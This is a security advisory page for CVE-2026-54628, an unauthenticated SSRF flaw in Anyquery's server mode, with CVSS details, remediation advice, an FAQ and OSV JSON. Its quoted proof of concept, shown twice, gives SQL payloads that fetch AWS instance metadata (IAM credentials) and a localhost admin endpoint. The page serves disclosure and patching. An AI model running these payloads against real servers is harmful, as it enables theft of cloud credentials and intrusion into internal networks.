CVE-2026-54628: Anyquery Server-Side Request Forgery (SSRF) Vulnerability

HIGH
Advisory Identifier: GHSA-hwrq-8wxh-q4xv
CVSS 8.6
CWE-284 CWE-441 CWE-862 CWE-918
Published
Advisory Summary

CVE-2026-54628 is a HIGH (CVSS 8.6) server-side request forgery (ssrf) vulnerability (CWE-284: Improper Access Control) affecting Anyquery libraries in the Go ecosystem. The issue involves server-side request forgery (ssrf) via unrestricted sqlite virtual table modules in server mode. Remediation is available in the latest vendor maintenance releases.

CVE-2026-54628 at a Glance

CVE Identifier CVE-2026-54628
GHSA Identifier GHSA-hwrq-8wxh-q4xv
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-284: Improper Access Control
Affected Product Anyquery
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54628

To remediate this vulnerability, upgrade all affected Anyquery dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/julien040/anyquery fixed: Latest secure release
Upgrade github.com/julien040/anyquery to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/julien040/anyquery

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54628, inspect your project dependencies for Anyquery:

inspect dependencies for github.com/julien040/anyquery

Analyze the terminal output to locate any version of Anyquery in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Anyquery, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Anyquery's `server` mode does not restrict outbound HTTP requests initiated by its built-in SQLite virtual table modules (e.g., `json_reader`, `log_reader`). Unauthenticated attackers connecting to the MySQL-compatible server port can create virtual tables pointing to internal network endpoints or Cloud Metadata IPs (e.g., `http://169.254.169.254/latest/meta-data/`). This allows attackers to perform Server-Side Request Forgery (SSRF), bypassing external firewalls to scan internal ports and exfiltrate cloud credentials. ## Details When Anyquery is launched in **Server Mode** (`anyquery server`), it binds to a TCP port and accepts MySQL protocol connections. The server handler allows the creation of dynamic virtual tables using modules like `json_reader` or `log_reader`, which internally use `go-getter` to fetch URLs. There is no protection mechanism to prevent fetches to local (127.0.0.0/8), private (10.0.0.0/8), or special (169.254.169.254) IP addresses. An attacker can use this to map internal networks, interact with internal APIs, or steal IAM tokens from cloud metadata servers by fetching the data and reading it as a database table. ## PoC (Proof of Concept) 1. Start the server on the victim machine (e.g., an AWS EC2 instance): ```bash anyquery server --host 0.0.0.0 --port 8070 ``` 2. Connect from an attacker machine: ```bash mysql -u root -h <VICTIM_IP> -P 8070 ``` 3. Execute the payload to fetch AWS Metadata or hit a local API: ```sql -- Payload 1: Fetch AWS Cloud Metadata (IAM credentials) CREATE VIRTUAL TABLE aws_meta USING log_reader('http://169.254.169.254/latest/meta-data/'); SELECT * FROM aws_meta; -- Payload 2: Access an internal application bound only to localhost CREATE VIRTUAL TABLE local_admin USING log_reader('http://localhost:8000/admin'); SELECT * FROM local_admin LIMIT 10; ``` ## Impact - **Confidentiality:** High. Exfiltration of sensitive internal network data or cloud credentials. - **Integrity:** Low. Possible interaction with state-changing internal REST APIs. - **Availability:** None. - **CVSS Score:** 8.6 (High) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` ## Remediation By default, in Server Mode, remote HTTP fetches to local/private IP ranges and known Cloud Metadata IP addresses should be blocked unless explicitly enabled via configuration.

CVE-2026-54628 Affected Anyquery Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/julien040/anyquery
Go

References

Frequently Asked Questions

What is CVE-2026-54628?
CVE-2026-54628 is a security vulnerability in Anyquery involving Server-Side Request Forgery (SSRF) via Unrestricted SQLite Virtual Table Modules in Server Mode under CWE-284: Improper Access Control.
Which Anyquery versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/julien040/anyquery.
What version fixes CVE-2026-54628?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/julien040/anyquery affected?
Yes, github.com/julien040/anyquery is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-54628?
CVE-2026-54628 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54628?
CVE-2026-54628 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-54628?
Run the dependency tree command: 'inspect dependencies for github.com/julien040/anyquery'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hwrq-8wxh-q4xv",
  "modified" : "2026-07-14T20:02:06Z",
  "published" : "2026-07-14T20:02:06Z",
  "aliases" : [ "CVE-2026-54628" ],
  "summary" : "Anyquery: Server-Side Request Forgery (SSRF) via Unrestricted SQLite Virtual Table Modules in Server Mode",
  "details" : "## Summary\nAnyquery's `server` mode does not restrict outbound HTTP requests initiated by its built-in SQLite virtual table modules (e.g., `json_reader`, `log_reader`). Unauthenticated attackers connecting to the MySQL-compatible server port can create virtual tables pointing to internal network endpoints or Cloud Metadata IPs (e.g., `http://169.254.169.254/latest/meta-data/`). This allows attackers to perform Server-Side Request Forgery (SSRF), bypassing external firewalls to scan internal ports and exfiltrate cloud credentials.\n\n## Details\nWhen Anyquery is launched in **Server Mode** (`anyquery server`), it binds to a TCP port and accepts MySQL protocol connections. The server handler allows the creation of dynamic virtual tables using modules like `json_reader` or `log_reader`, which internally use `go-getter` to fetch URLs. There is no protection mechanism to prevent fetches to local (127.0.0.0/8), private (10.0.0.0/8), or special (169.254.169.254) IP addresses. \n\nAn attacker can use this to map internal networks, interact with internal APIs, or steal IAM tokens from cloud metadata servers by fetching the data and reading it as a database table.\n\n## PoC (Proof of Concept)\n1. Start the server on the victim machine (e.g., an AWS EC2 instance):\n   ```bash\n   anyquery server --host 0.0.0.0 --port 8070\n   ```\n2. Connect from an attacker machine:\n   ```bash\n   mysql -u root -h <VICTIM_IP> -P 8070\n   ```\n3. Execute the payload to fetch AWS Metadata or hit a local API:\n   ```sql\n   -- Payload 1: Fetch AWS Cloud Metadata (IAM credentials)\n   CREATE VIRTUAL TABLE aws_meta USING log_reader('http://169.254.169.254/latest/meta-data/');\n   SELECT * FROM aws_meta;\n\n   -- Payload 2: Access an internal application bound only to localhost\n   CREATE VIRTUAL TABLE local_admin USING log_reader('http://localhost:8000/admin');\n   SELECT * FROM local_admin LIMIT 10;\n   ```\n\n## Impact\n- **Confidentiality:** High. Exfiltration of sensitive internal network data or cloud credentials.\n- **Integrity:** Low. Possible interaction with state-changing internal REST APIs.\n- **Availability:** None.\n- **CVSS Score:** 8.6 (High) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`\n\n## Remediation\nBy default, in Server Mode, remote HTTP fetches to local/private IP ranges and known Cloud Metadata IP addresses should be blocked unless explicitly enabled via configuration.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/julien040/anyquery"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 0.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/julien040/anyquery/security/advisories/GHSA-hwrq-8wxh-q4xv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/julien040/anyquery"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/julien040/anyquery/releases/tag/0.4.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-441", "CWE-862", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-14T20:02:06Z",
    "nvd_published_at" : null
  }
}